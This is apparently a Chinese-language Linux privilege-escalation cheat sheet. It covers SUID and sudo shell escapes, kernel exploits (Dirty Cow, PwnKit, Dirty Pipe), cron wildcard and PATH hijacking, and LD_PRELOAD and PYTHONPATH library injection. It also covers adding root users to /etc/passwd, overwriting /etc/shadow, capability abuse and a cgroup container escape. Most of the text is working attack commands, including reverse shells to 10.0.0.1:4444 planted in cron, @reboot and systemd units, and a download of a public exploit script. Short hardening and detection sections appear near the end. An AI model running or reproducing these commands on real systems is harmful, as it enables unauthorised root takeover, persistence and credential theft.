Linux 提权是渗透测试和系统安全中非常重要的技能。本文总结了常见的 Linux 提权方法,从基础的 SUID/Sudo 到复杂的内核漏洞利用,帮助系统管理员和安全研究人员全面了解提权攻击面,更好地进行防御。
注意 :本文内容仅供学习和授权测试使用,严禁用于非法用途。
SUID 提权 SUID(Set User ID)是一种特殊权限,当设置了 SUID 位的可执行文件被执行时,文件将以文件所有者的权限运行,而非执行者的权限。如果文件所有者是 root,普通用户通过执行该文件可以获得 root 权限。
查找 SUID 文件 1 2 3 4 5 6 7 8 9 10 11 find / -perm -4000 -type f 2>/dev/null find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null find /bin /usr/bin /usr/sbin /sbin -perm -4000 -type f 2>/dev/null find / -path /proc -prune -o -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
常见可利用的 SUID 程序
程序
利用方法
成功率
find
find / -exec /bin/bash \;
高
vim
:!/bin/bash
高
nano
^R^X; reset; sh
中
less
!bash
高
more
!bash
高
nmap
nmap --interactive
中(旧版本)
awk
awk 'BEGIN {system("/bin/bash")}'
高
sed
sed -n '1e exec sh 1<p' /dev/null
中
cp
通过符号链接劫持
低
mv
通过符号链接劫持
低
bash
直接运行获取 root
极高
python
python -c 'import os; os.execl("/bin/bash", "bash")'
高
具体攻击手法 利用 find 提权 1 2 3 4 5 6 7 8 9 10 11 12 find /etc/passwd -exec whoami \; find / -exec /bin/bash \; find . -exec "id;whoami;cat /etc/passwd" \; find . -exec `cp /bin/bash /tmp/rootbash;chmod 4755 /tmp/rootbash` \;
利用 vim/nano 提权 1 2 3 4 5 6 7 8 9 10 vim /etc/passwd :!/bin/bash :shell nano /etc/passwd
利用 less/more 提权 1 2 3 4 5 6 7 less /etc/passwd more /etc/passwd
利用 awk 提权 1 2 3 4 5 awk 'BEGIN {system("/bin/bash")}' awk 'BEGIN {while(1){system("bash")}}'
利用 sed 提权 1 2 3 4 5 sed -n '1e exec sh 1<p' /dev/null sed '1e bash' /dev/null
利用 cp/mv 提权 1 2 3 4 5 6 7 8 9 ln -s /etc/passwd /tmp/targetcp /tmp/target /tmp/backupecho "root2:$(perl -le 'print crypt("password" ,"salt" ) '):0:0::/root:/bin/bash" >> /tmp/backupcp /tmp/backup /etc/passwd
利用 Python/Perl/Ruby 提权 1 2 3 4 5 6 7 8 9 10 python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import os; os.execl("/bin/bash", "bash")' python -c 'import subprocess; subprocess.call(["/bin/bash"])' perl -e 'exec "/bin/bash";' ruby -e 'exec "/bin/bash"'
GTFOBins 参考 GTFOBins 是一个收集 Unix 二进制文件可用于绕过安全限制的数据库。访问 https://gtfobins.github.io/ 可以查找更多利用方法。
Sudo 提权 Sudo(SuperUser DO)允许普通用户以其他用户(通常是 root)的权限执行命令。如果 /etc/sudoers 配置不当,攻击者可以利用特定命令的 sudo 权限进行提权。
1 2 3 4 5 6 7 8 9 10 11 12 13 sudo -lsudo -l -vsudo -U $(id -un) -lcat /etc/sudoersls -la /etc/sudoers*ls -la /etc/sudoers.d/
常见不安全配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 user ALL=(ALL:ALL) ALL user ALL=(ALL) NOPASSWD: ALL user ALL=(root) NOPASSWD: /usr/bin/vim user ALL=(root) /usr/bin/less user ALL=(root) /bin/more user ALL=(root) /usr/bin/awk user ALL=(root) /usr/bin/perl user ALL=(root) /usr/bin/python user ALL=(root) /usr/bin/nmap user ALL=(root) /usr/bin/git user ALL=(root) /usr/bin/man user ALL=(root) /bin/find
具体攻击手法 利用编辑器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo vim /etc/passwd:!/bin/bash :shell sudo nano /etc/passwdsudo vi /etc/passwd:set shell=/bin/bash :shell
利用分页器 1 2 3 4 5 6 7 8 9 10 11 sudo less /etc/passwd!bash sudo more /etc/passwd!bash sudo man man!bash
利用解释器 1 2 3 4 5 6 7 8 9 10 11 12 13 sudo python -c 'import pty; pty.spawn("/bin/bash")' sudo python -c 'import os; os.execl("/bin/bash", "bash")' sudo python -c 'import subprocess; subprocess.call(["/bin/bash"])' sudo perl -e 'exec "/bin/bash";' sudo ruby -e 'exec "/bin/bash"' sudo lua -e 'os.execute("/bin/bash")'
利用 AWK 1 2 3 4 sudo awk 'BEGIN {system("/bin/bash")}' sudo awk 'BEGIN {while(1){system("bash")}}' sudo awk 'BEGIN {cmd="/bin/bash"; while(1) system(cmd)}'
利用 FIND 1 2 3 4 sudo find / -exec /bin/bash \;sudo find . -exec "id;whoami" \;sudo find / -exec "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash" \;
利用 NMAP 1 2 3 4 5 6 7 8 9 10 sudo nmap --interactivenmap> !sh echo "os.execute('/bin/bash')" > /tmp/evil.nsesudo nmap --script=/tmp/evil.nsesudo nmap -iL /dev/null -p 80 --script-args http.useragent=";sh"
利用 GIT 1 2 3 4 5 6 7 sudo git help config!bash sudo git -p help config!bash
利用 SCP 1 2 sudo scp -S /bin/bash x y:
利用 TAR 1 2 3 4 touch /tmp/--checkpoint=1touch /tmp/--checkpoint-action=exec =shsudo tar cf archive.tar /tmp/*
利用 LD_PRELOAD 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sudo -lcat > /tmp/lib.c <<EOF #include <stdlib.h> void _init() { system("/bin/bash"); } EOF gcc -shared -fPIC -o /tmp/lib.so /tmp/lib.c sudo LD_PRELOAD=/tmp/lib.so <command >sudo -E LD_PRELOAD=/tmp/lib.so <command >
利用 sudoedit
组合技巧 1 2 3 4 5 6 7 8 9 10 11 12 13 sudo -lfor cmd in $(sudo -l 2>/dev/null | grep -oP '\(root\) \K[^ ]+' ); do echo "Testing: $cmd " done for cmd in vim less more awk perl python; do echo "=== $cmd ===" curl -s "https://gtfobins.github.io/gtfobins/$cmd /" | grep -A 5 "sudo" done
内核漏洞提权 Linux 内核运行在最高权限等级(ring 0),如果内核存在漏洞,攻击者可以利用漏洞从用户态(ring 3)提升到内核态,从而获得系统完全控制权。
信息收集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 uname -auname -runame -mcat /etc/os-releaselsb_release -a 2>/dev/null cat /etc/issuelsmod cat /proc/modulescat /proc/cpuinfoarch cat /boot/config-$(uname -r) 2>/dev/nullcat /proc/cmdlinecat /proc/sys/kernel/grsecurity 2>/dev/nullls -la /sys/kernel/security/dmesg | grep -i "dmesg restricted" cat /proc/sys/kernel/dmesg_restrictcat /proc/sys/kernel/kptr_restrict
经典内核漏洞 Dirty Cow (CVE-2016-5195) 影响范围:内核版本 2.6.22 至 4.4.4/4.8.3
1 2 3 4 5 6 7 8 9 10 11 12 cat /proc/version | grep -E "2\.6\.[3-9]|3\..*|4\.[0-7]" gcc -pthread dirtyc0w.c -o dirtyc0w ./dirtyc0w /etc/passwd root2:$(perl -le 'print crypt("password","salt")' ):0:0::/root:/bin/bash su - root2
CVE-2017-16995 (Ubuntu 16.04) 1 2 3 4 5 6 7 8 9 uname -a | grep "4.4.0-.*-generic" ./linux-exploit-suggester.sh gcc exploit.c -o exploit ./exploit
CVE-2021-4034 (PwnKit - polkit) 影响范围:Polkit (pkexec) 2009-至今
1 2 3 4 5 6 7 pkexec --version curl -s https://github.com/berdav/CVE-2021-4034/raw/main/cve-2021-4034.sh > cve.sh chmod +x cve.sh./cve.sh
CVE-2022-0847 (Dirty Pipe) 影响范围:内核 5.8 至 5.16.11 / 5.15.25 / 5.10.102
1 2 3 4 5 6 uname -r | grep -E "5\.(8|9|10|11|12|13|14|15|16)" gcc exploit.c -o exploit ./exploit /etc/passwd root2:$(perl -le 'print crypt("password","salt")' ):0:0::/root:/bin/bash
其他常见漏洞
CVE
影响内核
描述
CVE-2010-3904
2.6.36 之前
RDS 协议漏洞
CVE-2010-4258
多个版本
NULL 指针解引用
CVE-2012-0056
3.3-rc1 之前
proc 文件系统漏洞
CVE-2013-2094
3.8.9 之前
perf_swevent_init 漏洞
CVE-2014-3153
3.15.4 之前
futex 漏洞
CVE-2016-0728
多个版本
Keyring 漏洞
CVE-2019-18634
sudo
sudo 堆溢出
CVE-2021-3156
sudo 1.7.7 至 1.9.0p1
sudo 堆溢出 (Baron Samedit)
自动化工具 Linux Exploit Suggester 1 2 3 4 5 6 7 8 wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ./linux-exploit-suggester.sh ./linux-exploit-suggester.sh -k 4.4.0-31-generic
Kernel Exploit Detection 1 2 3 4 5 ./linpeas.sh ./les.sh
Searchsploit 1 2 3 4 5 6 7 8 9 10 11 searchsploit linux kernel 4.4 searchsploit privilege escalation searchsploit ubuntu 16.04 searchsploit dirty cow searchsploit cve-2021-4034 searchsploit -m 40839
EXP 执行流程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 uname -acat /etc/os-releasesearchsploit linux kernel $(uname -r | cut -d'-' -f1) searchsploit -m <exploit_id> grep -r "main" exploit.c gcc exploit.c -o exploit ./exploit id whoami
Docker 容器内核逃逸 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 cat /proc/1/cgroup | grep dockercat /.dockerenv./dirtycow /host/etc/passwd <new_content> mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrpmkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path /exploit" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /exp.shecho "ps aux > $host_path /output" >> /exp.shchmod a+x /exp.shsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output
Cronjobs 提权 Cron 是 Linux 系统的定时任务调度器,系统会定期执行预设的脚本或命令。如果定时任务的配置不当(如使用了通配符、脚本文件可写、环境变量不安全等),攻击者可以劫持任务执行流程获得更高权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 crontab -l for user in $(cut -d: -f1 /etc/passwd); do echo "=== $user ===" crontab -u $user -l 2>/dev/null done cat /etc/crontabls -la /etc/cron*ls -la /etc/cron.d/ls -la /etc/cron.daily/ls -la /etc/cron.hourly/ls -la /etc/cron.weekly/ls -la /etc/cron.monthly/systemctl list-timers --all ls -la /etc/systemd/system/*.timerls -la /lib/systemd/system/*.timergrep CRON /var/log/syslog grep CRON /var/log/cron journalctl -u cron
Cron 配置格式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 * * * * * 用户 命令 │ │ │ │ │ │ │ │ │ └─ 星期几 (0-7, 0和7都表示周日) │ │ │ └─── 月份 (1-12) │ │ └───── 日期 (1-31) │ └─────── 小时 (0-23) └───────── 分钟 (0-59) 特殊符号: * 任意值 , 分隔值 (1,3,5) - 范围值 (1-5) / 步长 (*/5 表示每5分钟) @reboot 系统启动时执行 @yearly 每年 @monthly 每月 @weekly 每周 @daily 每天 @hourly 每小时
常见不安全配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 * * * * * root tar -czf /var/backups/backup.tar.gz /var/www/* * * * * * root /home/user/script.sh * * * * * root ./script.sh * * * * * root python script.py * * * * * root bash /tmp/cleanup.sh * * * * * root cp -r /var/www/* /backup/
具体攻击手法 通配符注入 (Wildcard Injection) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 * * * * * root tar -czf /var/backups/backup.tar.gz /var/www/* cd /var/wwwtouch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh /tmp/evil.sh" cat > /tmp/evil.sh <<EOF #!/bin/bash cp /bin/bash /tmp/rootbash chmod 4755 /tmp/rootbash EOF chmod +x /tmp/evil.sh/tmp/rootbash cat > /tmp/evil.sh <<EOF #!/bin/bash bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 EOF cd /var/wwwtouch -- "--use-compress-program=bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" cd /var/wwwtouch -- "-e sh -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" cd /var/wwwtouch -- "--reference=/etc/passwd"
脚本文件劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 * * * * * root /home/user/script.sh ls -la /home/user/script.shecho 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /home/user/script.shecho 'chmod 777 /etc/passwd' >> /home/user/script.shecho 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /home/user/script.shwatch -n 1 'ls -la /tmp/rootbash'
PATH 环境变量劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 * * * * * root /root/backup.sh echo 'env > /tmp/cron_env' >> /root/backup.shcat /tmp/cron_envexport PATH=/tmp:$PATH cat > /tmp/tar <<EOF #!/bin/bash cp /bin/bash /tmp/rootbash chmod 4755 /tmp/rootbash # 执行真正的 tar /bin/tar "$@" EOF chmod +x /tmp/tar
文件名劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 cd /var/wwwtouch "$(echo -e 'evil.sh\n/tmp/evil.sh') " touch "-; /bin/bash #" cd /var/wwwecho '#!/bin/bash' > "exploit.tar" echo 'cp /bin/bash /tmp/rootbash' >> "exploit.tar" echo 'chmod 4755 /tmp/rootbash' >> "exploit.tar" ln -s /etc/passwd "$(date +%s) .txt"
符号链接劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 * * * * * root cp /tmp/upload/* /var/www/uploads/ cd /tmp/uploadln -s /etc/shadow malicious.txtcat /var/www/uploads/malicious.txtln -s /bin/bash exploit.txt
@reboot 定时任务 1 2 3 4 5 6 7 8 9 10 11 crontab -l | grep @reboot cat /etc/crontab | grep @rebootecho '@reboot root cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /tmp/crontabecho '@reboot root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /tmp/crontabcat /tmp/crontab >> /etc/crontab
Systemd Timer 劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 systemctl list-timers --all systemctl cat systemd-tmpfiles-clean.timer systemctl cat systemd-tmpfiles-clean.service ls -la /usr/lib/systemd/system/systemd-tmpfiles-clean.servicecat > /tmp/malicious.service <<EOF [Service] ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' EOF cp /tmp/malicious.service /etc/systemd/system/systemctl daemon-reload systemctl restart malicious
监控 Cron 执行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ./pspy64 cat > /tmp/monitor.sh <<'EOF' while true ; do ps aux | grep -E "cron|tar|bash|python" | grep -v grep sleep 1 done EOF inotifywait -m -r /etc/cron* /var/spool/cron/ inotifywait -m /var/www/
防御措施 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 * * * * * root /usr/bin/tar -czf /var/backups/backup.tar.gz /var/www/ * * * * * root tar -czf /var/backups/backup.tar.gz -- /var/www/* chmod 644 /etc/crontabchmod 750 /etc/cron.d/chmod 700 /home/user/script.shchown root:root /home/user/script.shexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
环境变量提权 环境变量是操作系统为进程存储配置信息的方式。如果程序(尤其是以高权限运行的程序)依赖环境变量(如 PATH、LD_LIBRARY_PATH 等)来定位可执行文件或库,攻击者可以劫持这些变量,使程序执行恶意代码。
相关环境变量
环境变量
作用
劫持方式
PATH
可执行文件搜索路径
在路径前插入恶意目录
LD_LIBRARY_PATH
动态库搜索路径
创建恶意 .so 文件
LD_PRELOAD
预加载库
创建劫持所有函数的库
PYTHONPATH
Python 模块路径
创建恶意 Python 模块
PERL5LIB
Perl 模块路径
创建恶意 Perl 模块
IFS
字段分隔符
修改命令分隔符
基础攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 echo $PATH export PATH=/tmp:$PATH cat > /tmp/tar <<'EOF' cp /bin/bash /tmp/rootbashchmod 4755 /tmp/rootbash/bin/tar "$@ " EOF chmod +x /tmp/tar./vulnerable.sh /tmp/rootbash -p id
结合 SUID 程序 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 export PATH=/tmp:$PATH cat > /tmp/ls <<'EOF' cp /bin/bash /tmp/rootbashchmod 4755 /tmp/rootbash/bin/ls "$@ " EOF chmod +x /tmp/ls./suid_program /tmp/rootbash -p
结合 Cron 任务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 * * * * * root /root/backup.sh cat > /tmp/get_env.sh <<'EOF' env > /tmp/cron_envEOF chmod +x /tmp/get_env.shcat /tmp/cron_env | grep -i pathexport PATH=/tmp:$PATH
Python/脚本程序劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import os os.system("cp source dest" ) export PATH=/tmp:$PATH cat > /tmp/cp <<'EOF' cp /bin/bash /tmp/rootbashchmod 4755 /tmp/rootbash/bin/cp "$@ " EOF chmod +x /tmp/cppython malicious.py
LD_LIBRARY_PATH 劫持 原理 动态链接程序在加载共享库时,会搜索 LD_LIBRARY_PATH 指定的目录。如果攻击者能控制这个环境变量,就可以让程序加载恶意库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ldd /path/to/suid_program export LD_LIBRARY_PATH=/tmp:$LD_LIBRARY_PATH cat > /tmp/lib.c <<'EOF' void init() __attribute__((constructor)); void init () { setuid(0); setgid(0); system("/bin/bash" ); } EOF gcc -shared -fPIC -o /tmp/libmalicious.so /tmp/lib.c ./suid_program
Python ctypes 劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import ctypes lib = ctypes.CDLL('libexample.so' ) export LD_LIBRARY_PATH=/tmp:$LD_LIBRARY_PATH cat > /tmp/libexample.c <<'EOF' void _init () { system("/bin/bash" ); } void example_function () { // 正常功能 } EOF gcc -shared -fPIC -o /tmp/libexample.so /tmp/libexample.c python malicious.py
LD_PRELOAD 劫持 原理 LD_PRELOAD 允许在程序加载时优先加载指定的共享库,可以劫持任意函数调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 cat > /tmp/test.c <<'EOF' int main () { printf ("LD_PRELOAD test\n" ); return 0; } EOF gcc -o /tmp/test /tmp/test.c LD_PRELOAD=/tmp/lib.so /tmp/test cat > /tmp/lib.c <<'EOF' typedef FILE* (*fopen_t)(const char*, const char*); fopen_t real_fopen; FILE* fopen(const char *pathname, const char *mode) { static int first = 1; if (first) { first = 0; system("/bin/bash" ); } real_fopen = dlsym(RTLD_NEXT, "fopen" ); return real_fopen(pathname, mode); } EOF gcc -shared -fPIC -o /tmp/lib.so /tmp/lib.c -ldl LD_PRELOAD=/tmp/lib.so ./suid_program sudo LD_PRELOAD=/tmp/lib.so ls
劫持特定函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cat > /tmp/lib.c <<'EOF' void __attribute__((constructor)) init () { setuid(0); setgid(0); system("/bin/bash -i" ); } EOF gcc -shared -fPIC -o /tmp/liball.so /tmp/lib.c LD_PRELOAD=/tmp/liball.so ls LD_PRELOAD=/tmp/liball.so tar LD_PRELOAD=/tmp/liball.so python
Python 环境变量劫持 PYTHONPATH 劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 import helper_module export PYTHONPATH=/tmp:$PYTHONPATH cat > /tmp/helper_module.py <<'EOF' import os os.system("/bin/bash" ) EOF python malicious.py
PYTHONHOME 劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 export PYTHONHOME=/tmpmkdir -p /tmp/lib/python3.8cat > /tmp/lib/python3.8/os.py <<'EOF' import subprocess subprocess.call(["/bin/bash" ]) EOF python
Perl 环境变量劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 export PERL5LIB=/tmp:$PERL5LIB cat > /tmp/Helper.pm <<'EOF' package Helper; use Exporter qw(import); our @EXPORT_OK = qw(helper); sub helper { system("/bin/bash" ); } 1; EOF perl -e 'use Helper qw(helper); helper();'
Ruby 环境变量劫持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 export RUBYLIB=/tmp:$RUBYLIB cat > /tmp/helper.rb <<'EOF' module Helper def self.helper system("/bin/bash" ) end end EOF ruby -e 'require "helper"; Helper.helper'
IFS 劫持
组合攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 export PATH=/tmp:$PATH export LD_PRELOAD=/tmp/malicious.socat > /tmp/tar <<'EOF' LD_PRELOAD=/tmp/liball.so /bin/tar "$@ " EOF chmod +x /tmp/tarcat > /tmp/liball.c <<'EOF' void _init () { system("/bin/bash" ); } EOF gcc -shared -fPIC -o /tmp/liball.so /tmp/liball.c ./suid_tar_program
/etc/passwd 提权 /etc/passwd 文件存储了系统中所有用户的基本信息。在旧版本 Linux 系统中,该文件包含了密码哈希;现代系统中密码哈希被移至 /etc/shadow,但如果 /etc/passwd 可写或存在特定配置缺陷,攻击者仍可通过修改该文件来提权。
1 2 3 username:password:UID:GID:comment:home_dir:shell │ │ │ │ │ │ │ └─用户名 └─密码(x) └─UID─└─GID─└─备注──└─家目录──└─shell
UID=0 : root 用户
UID 1000-60000 : 普通用户
UID 65534 : nobody
信息收集 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ls -la /etc/passwdcat /etc/passwdless /etc/passwd awk -F: '$3 == 0 {print}' /etc/passwd grep ':0:0:' /etc/passwd id whoami grep $USER /etc/passwd ls -la /etc/shadowcat /etc/shadow 2>/dev/null
密码哈希生成 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 openssl passwd -1 password perl -le 'print crypt("password", "salt")' mkpasswd -m sha-512 password python3 -c 'import crypt; print(crypt.crypt("password", crypt.mksalt(crypt.METHOD_SHA512)))' php -r 'echo password_hash("password", PASSWORD_DEFAULT);'
攻击手法 直接写入新用户 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ls -la /etc/passwdecho "hacker:$(openssl passwd -1 -salt salt password) :0:0:Hacker:/root:/bin/bash" >> /etc/passwdecho "hacker:$(perl -le 'print crypt("password" ,"salt" ) '):0:0:hacker:/root:/bin/bash" >> /etc/passwdsu - hacker password: password id whoami
修改现有用户 UID 1 2 3 4 5 6 7 8 9 10 11 12 13 grep $USER /etc/passwd cp /etc/passwd /tmp/passwd.baksed -i "s/^$USER :[^:]*:[0-9]*/$USER ::0:0/" /etc/passwd exec bashid
利用 SUID 编辑器修改 1 2 3 4 5 6 7 8 9 10 sudo vim /etc/passwdvim /etc/passwd hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash :%s/$USER :\([^:]*\):[0-9]*/$USER :\1:0:0/ :wq
利用通配符注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 * * * * * root tar -czf /backup/passwd.tar /etc/passwd cat /etc/crontabgrep passwd /etc/cron* cd /etctouch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh /tmp/evil.sh" cat > /tmp/evil.sh <<'EOF' echo "hacker:$(openssl passwd -1 password) :0:0:hacker:/root:/bin/bash" >> /etc/passwdEOF chmod +x /tmp/evil.sh
/etc/shadow 可写(高危) 1 2 3 4 5 6 7 8 9 10 11 12 ls -la /etc/shadowecho "root:$(openssl passwd -1 newpass) :18000:0:99999:7:::" > /etc/shadowsu - root echo "hacker:$(openssl passwd -1 password) :18000:0:99999:7:::" >> /etc/shadowsu - hacker
利用脚本处理漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 while read line; do done < /etc/passwdcat > /tmp/malicious_passwd <<'EOF' root:x:0:0:root:/root:/bin/bash hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash EOF ./process_script.sh < /tmp/malicious_passwd
符号链接劫持 1 2 3 4 5 6 7 8 9 10 11 12 cat > /tmp/new_passwd <<'EOF' root:x:0:0:root:/root:/bin/bash hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash EOF ln -sf /tmp/new_passwd /tmp/temp_passwd
利用备份还原 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 find / -name "*passwd*" -type f 2>/dev/null find / -name "*backup*" -type f 2>/dev/null ls -la /var/backups/ls -la /backup/ls -la /tmp/*.bakcat > /tmp/malicious_backup <<'EOF' root:x:0:0:root:/root:/bin/bash hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash EOF echo "/tmp/malicious_backup" > /backup/passwd
检测方法(防御) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 inotifywait -m -e modify /etc/passwd awk -F: '$3 == 0 {print $1}' /etc/passwd awk -F: '$3 < 1000 {print $1, $3}' /etc/passwd md5sum /etc/passwdsha256sum /etc/passwdaide --init aide --check
安全加固 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 chmod 644 /etc/passwdchown root:root /etc/passwdchmod 640 /etc/shadowchown root:shadow /etc/shadowchmod 644 /etc/passwdchmod 444 /etc/passwdchattr +i /etc/passwd chattr +i /etc/shadow lsattr /etc/passwd lsattr /etc/shadow
Capabilities 提权 Linux Capabilities(能力机制)将 root 权限细分为多个独立的”能力”,允许程序只获得必要的权限而非完整 root 权限。但如果程序被赋予了不当的能力(如 CAP_SETUID、CAP_SYS_ADMIN 等),攻击者可以利用这些能力提权。
能力
描述
危险度
CAP_SETUID
设置进程 UID
极高
CAP_SETGID
设置进程 GID
高
CAP_SYS_ADMIN
系统管理操作
极高
CAP_SYS_PTRACE
跟踪任意进程
高
CAP_SYS_MODULE
加载内核模块
极高
CAP_NET_RAW
使用原始套接字
中
CAP_NET_BIND_SERVICE
绑定特权端口
中
CAP_DAC_OVERRIDE
绕过文件权限检查
高
CAP_DAC_READ_SEARCH
读取任意文件
高
查找能力文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 getcap -r / 2>/dev/nullgetcap -r /usr/bin 2>/dev/nullgetcap -r /home 2>/dev/nullgetcap /path/to/filefind / -type f -exec getcap {} \; 2>/dev/null getcap -r / 2>&1 | grep -v "Operation not permitted"
攻击手法 CAP_SETUID 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 getcap /home/user/vulnerable/home/user/vulnerable cat > /tmp/cap_setuid.c <<'EOF' int main () { setuid(0); setgid(0); system("/bin/bash" ); return 0; } EOF gcc -o /tmp/exploit /tmp/cap_setuid.c sudo setcap cap_setuid+ep /tmp/exploit/tmp/exploit
CAP_SETGID 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cat > /tmp/cap_setgid.c <<'EOF' int main () { setgid(0); setuid(0); system("/bin/bash" ); return 0; } EOF gcc -o /tmp/exploit /tmp/cap_setgid.c sudo setcap cap_setgid+ep /tmp/exploit/tmp/exploit
CAP_SYS_ADMIN 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 mkdir -p /tmp/mountpoint/home/user/vulnerable mount /dev/sda1 /tmp/mountpoint cat /tmp/mountpoint/etc/shadowunshare -m /bin/bash mount --bind /etc/shadow /tmp/shadow cat > /tmp/cap_sys_admin.c <<'EOF' int main () { if (unshare(CLONE_NEWNS) == -1) { perror("unshare" ); return 1; } if (mount("/etc/shadow" , "/tmp/shadow" , "" , MS_BIND, "" ) == -1) { perror("mount" ); return 1; } system("cat /tmp/shadow" ); return 0; } EOF gcc -o /tmp/exploit /tmp/cap_sys_admin.c sudo setcap cap_sys_admin+ep /tmp/exploit/tmp/exploit
CAP_SYS_PTRACE 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 cat > /tmp/ptrace_inject.c <<'EOF' int main(int argc, char *argv[]) { pid_t pid = atoi(argv[1]); struct user_regs_struct regs; ptrace(PTRACE_ATTACH, pid, NULL, NULL); wait (NULL); ptrace(PTRACE_GETREGS, pid, NULL, ®s); // 修改寄存器以执行系统调用 regs.rip = (unsigned long)&shellcode; ptrace(PTRACE_SETREGS, pid, NULL, ®s); ptrace(PTRACE_CONT, pid, NULL, NULL); return 0; } EOF gcc -o /tmp/ptrace_inject /tmp/ptrace_inject.c /tmp/ptrace_inject <target_pid> python3 -c " import ptrace import ctypes # 注入 shellcode 到 root 进程 shellcode = bytes.fromhex('...') ptrace.inject_shellcode(target_pid, shellcode) "
CAP_DAC_OVERRIDE 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 /home/user/vulnerable /etc/shadow cat > /tmp/cap_dac.c <<'EOF' int main(int argc, char *argv[]) { FILE *f = fopen(argv[1], "r" ); if (!f) { perror("fopen" ); return 1; } char line[256]; while (fgets(line, sizeof(line), f)) { printf ("%s" , line); } fclose(f); return 0; } EOF gcc -o /tmp/reader /tmp/cap_dac.c sudo setcap cap_dac_override+ep /tmp/reader/tmp/reader /etc/shadow
